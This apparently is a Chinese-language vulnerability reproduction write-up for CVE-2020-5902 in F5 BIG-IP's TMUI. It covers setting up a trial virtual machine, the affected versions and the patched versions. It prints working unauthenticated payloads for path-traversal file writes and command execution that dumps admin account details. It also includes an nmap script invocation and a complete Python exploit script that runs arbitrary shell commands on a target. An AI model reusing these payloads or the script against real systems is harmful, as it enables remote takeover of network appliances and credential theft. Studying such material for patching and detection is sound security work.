简述
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。
漏洞原理
未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。
影响版本
• BIG-IP 15.x: 15.1.0/15.0.0
• BIG-IP 14.x: 14.1.0 ~ 14.1.2
• BIG-IP 13.x: 13.1.0 ~ 13.1.3
• BIG-IP 12.x: 12.1.0 ~ 12.1.5
• BIG-IP 11.x: 11.6.1 ~ 11.6.5
环境踩坑
复现环境搭建:
- https://www.f5.com.cn/trials/big-ip-virtual-edition 到官网注册申请账号,然后下载30天的虚拟试用版本。
- https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.1.0&container=Virtual-Edition 下载界面的MyF5download 进行版本选择,一定要选择对口的版本,因为后面还有更细的版本选择,一定要认准这个单词(Virtual-Edition),虚拟版是可以使用vmware快速搭建环境的。
别着急还有文件类型选择,选后缀ova的,然后就是文件大小最大的。
然后最下面就可以看到你选择的版本信息,可以让你再核对一次。核对没问题之后就可以选择本地下载方式了,这里没有CHINA选项,类似运营商选择,只能选日本了,选择完成就可以下载了。
我下了好几个版本不用在意截图的下载版本不一样哈
这是下载完成的样子。
右键打开方式,选择VMware打开即可,中间会让你设置一个虚拟机导出文件的文件路径我直接设置的数字3,其余选默认即可,然后点击导入等几秒钟就好啦。
看 这就是导入虚拟机的配置信息。
我们开启虚拟机:
开机----
首次登录需要更改密码,默认账号密码是root/default,实验里我修改密码为bigippassword
注意这里需要重新验证一遍你的root密码,所以默认密码要输入两遍才会让你输入新密码。新密码也是输入两遍就可以设置成功啦。看
接下来就要配置IP、掩码、路由什么的了,也是一路默认即可。
开始配置IP吧:输入命令config 会出现一个蓝色的框框提示你配置IP信息。
反正就是一路回车就行啦。它会自动分配一个IP、掩码、路由的。
然后别忘了互相ping一下自己的物理机。确认网络连通。
然后就是物理机访问BIGIP的web界面了,复制自己的IP信息,在物理机上输入https://IP 看一下是不是能够访问登录界面了。
能访问到这个界面就代表环境已经搭建好了。
一定要注意是https:// 在这里踩了好多坑啊,我当时是直接访问的IP:443
然后提示Bad Request ,然后查了一下服务器(也就是BIGIP的虚拟机),发现没啥问题啊,443是监听着的,但是80端口仅允许本地访问也就是127.0.0.1:80,当时还改了httpd的配置文件,把所有监听都变成0.0.0.0:80了,但是还是报错。就很神奇。后来我无意识的把前面的http改成https然后就成功了,555555真蠢啊,改端口不改协议。还好结果是好的,坑了我大半天时间。
不说了开始复现。
漏洞复现
- 访问BIG-IP 的web界面:https://IP ,这里不需要登录,想登录看看的默认的账号是admin,密码是和虚拟机设置的密码一样。
虚拟机操作不方便的可以打开ssh 用xshell连接。
登录以后就是这个样子,不过这个漏洞都是未授权就可以执行的,所以登录的意义不大。
如果真的想试用的,需要一个激活码,在你下载的网页过程中会有一个界面提供了激活码。
好了废话说了不少了开始正题:
复现方式一:nmap脚本poc
试用nmap脚本:https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve2020-5902.nse 把下载好的文件存放在nmap/scripts/ 下面
然后使用命令:nmap --script http-vuln-cve2020-5902 -p443 yourIP
我的IP是192.168.22.169,返回信息中可以看到漏洞信息BIG-IP TMUI RCE漏洞,并且给出了payload,可以直接访问。版本中漏洞太多都是未授权的。后面有RCE。
直接访问可以读取到敏感信息。
(后面的我偷个懒就用现成的截图了。)
文件上传:
Payload:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp POST: fileName=/tmp/1.txt&content=CVE-2020-5902
使用burpsuit抓包登录窗口,修改请求方式,将payload以post方式提交。提交后查看服务器是否上传成功
查看服务器文件,显示上传成功
php文件的也是没问题的
命令执行(RCE)
Payload:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
list auth user 查看所有用户
list auth user admin 查看管理员账户
命令执行成功,返回用户账号密码
POC测试
Github下载poc:https://github.com/jas502n/CVE-2020-5902
注意:脚本运行的python环境是python2版本的,3.x版本运行会出错,代码里面url是固定写法需要人工修改一下,只需要将url后面一行的注释取消掉即可。
修改后用法:Python CVE-2017-7529_PoC.py https://IP
使用后会提示输入命令,有时候会偶尔失灵,多执行几次就好了。
程序运行时会提示输入命令。源脚本代码中为循环写入,修改变为单一写入一次命令执行一次了。后续需要可以自行取消注释,修改缩进。
命令执行时会将输入的命令写入到用户的/tmp/目录下,并且返回文件存储路径、文件新名称以及命令执行结果显示在命令行界面。
修复建议
通用修补建议,升级到以下版本
• BIG-IP 15.x: 15.1.0.4
• BIG-IP 14.x: 14.1.2.6
• BIG-IP 13.x: 13.1.3.4
• BIG-IP 12.x: 12.1.5.2
• BIG-IP 11.x: 11.6.5.2
参考链接:https://www.cnblogs.com/liliyuanshangcao/p/13285121.html
`
#coding:utf-8
import argparse
import os
import requests
import json
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import uuid
import sys
# tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# fileSave.jsp?fileName=/tmp/cmd&content=id
# tmshCmd.jsp?command=list+/tmp/cmd
# tmshCmd.jsp?command=delete+cli+alias+private+list
banner = r'''
_______ _______ ______ _________ _______ _________ _______ _______ _______ _______
( ____ \( ____ \ ( ___ \ \__ __/( ____ \ \__ __/( ____ ) ( ____ )( ____ \( ____ \
| ( \/| ( \/ | ( ) ) ) ( | ( \/ ) ( | ( )| | ( )|| ( \/| ( \/
| (__ | (____ | (__/ / | | | | | | | (____)| | (____)|| | | (__
| __) (_____ \ | __ ( | | | | ____ | | | _____) | __)| | | __)
| ( ) ) | ( \ \ | | | | \_ ) | | | ( | (\ ( | | | (
| ) /\____) ) | )___) )___) (___| (___) | ___) (___| ) | ) \ \__| (____/\| (____/\
|/ \______/ |/ \___/ \_______/(_______) \_______/|/ |/ \__/(_______/(_______/
CVE-2020-5902 UnAuth RCE Vuln
Python By Jas502n
From: https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
____________________________________________________________________________________________________________________________________________________
'''
def tmshCmd_exit(url,file,cmd):
tmshCmd_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
r = requests.get(tmshCmd_url,verify=False,allow_redirects=False)
# r = requests.get(tmshCmd_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__['_store'])
# print type(response_str)
# print response_str
if r.status_code == 200 and 'tmui' in response_str:
# print tmshCmd_url
print("[+] tmshCmd.jsp Exit!")
print("[+] create cli alias private list command bash \n")
# cmd = 'whoami'
upload_exit(url,file,cmd)
else:
print("[+] tmshCmd.jsp No Exit!\n")
def upload_exit(url,file,cmd):
fileSave_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/%s&content="%file + cmd
proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
r = requests.get(fileSave_url,verify=False,allow_redirects=False)
# r = requests.get(fileSave_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__['_store'])
if r.status_code == 200 and 'tmui' in response_str:
# print fileSave_url
print("[+] fileSave.jsp Exit!\n")
list_command(url,file)
else:
print("[+] fileSave.jsp No Exit!\n")
def list_command(url,file):
rce_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/%s" % file
proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
r = requests.get(rce_url,verify=False,allow_redirects=False)
# r = requests.get(rce_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__['_store'])
# print len(r.content)
if r.status_code == 200 and 'tmui' in response_str:
if len(r.content) > 33:
# print rce_url
print("[+] Command Successfull !\n")
command_result = json.loads(r.content)
print("_"*90)
print(command_result['output'])
print("_" * 90)
delete_list(url)
else:
print("[+] Command Failed !\n")
def delete_list(url):
delete_url = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list'
proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
r = requests.get(delete_url,verify=False,allow_redirects=False)
# r = requests.get(delete_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__['_store'])
if r.status_code == 200 and 'tmui' in response_str:
# print delete_url
print("[+] delete cli alias private list Successfull! \n")
else:
print("[+] delete cli alias private list Failed! \n")
if __name__ == '__main__':
# 用下面这段需要使用参数-u,看自己喜好哈
# parser = argparse.ArgumentParser()
# parser.add_argument('-u', action="store", dest="domain",default=None, help="Target IP:PORT or hostname to exploit")
# if parser.parse_args().domain == None:
# print("Error: You must specify the target host with the '-t' flag")
# os._exit(1)
# url=parser.parse_args().domain
print(banner)
#循环执行命令,如果要使用,注意将循环后面的命令前面添加缩进。
# while 1:
url = sys.argv[1]
file = str(uuid.uuid1())
print("/tmp/" + file, "\n")
cmd = raw_input("[+]Set Cmd= ")
# cmd = input("[+]Set Cmd= ")
print("")
tmshCmd_exit(url,file,cmd)
`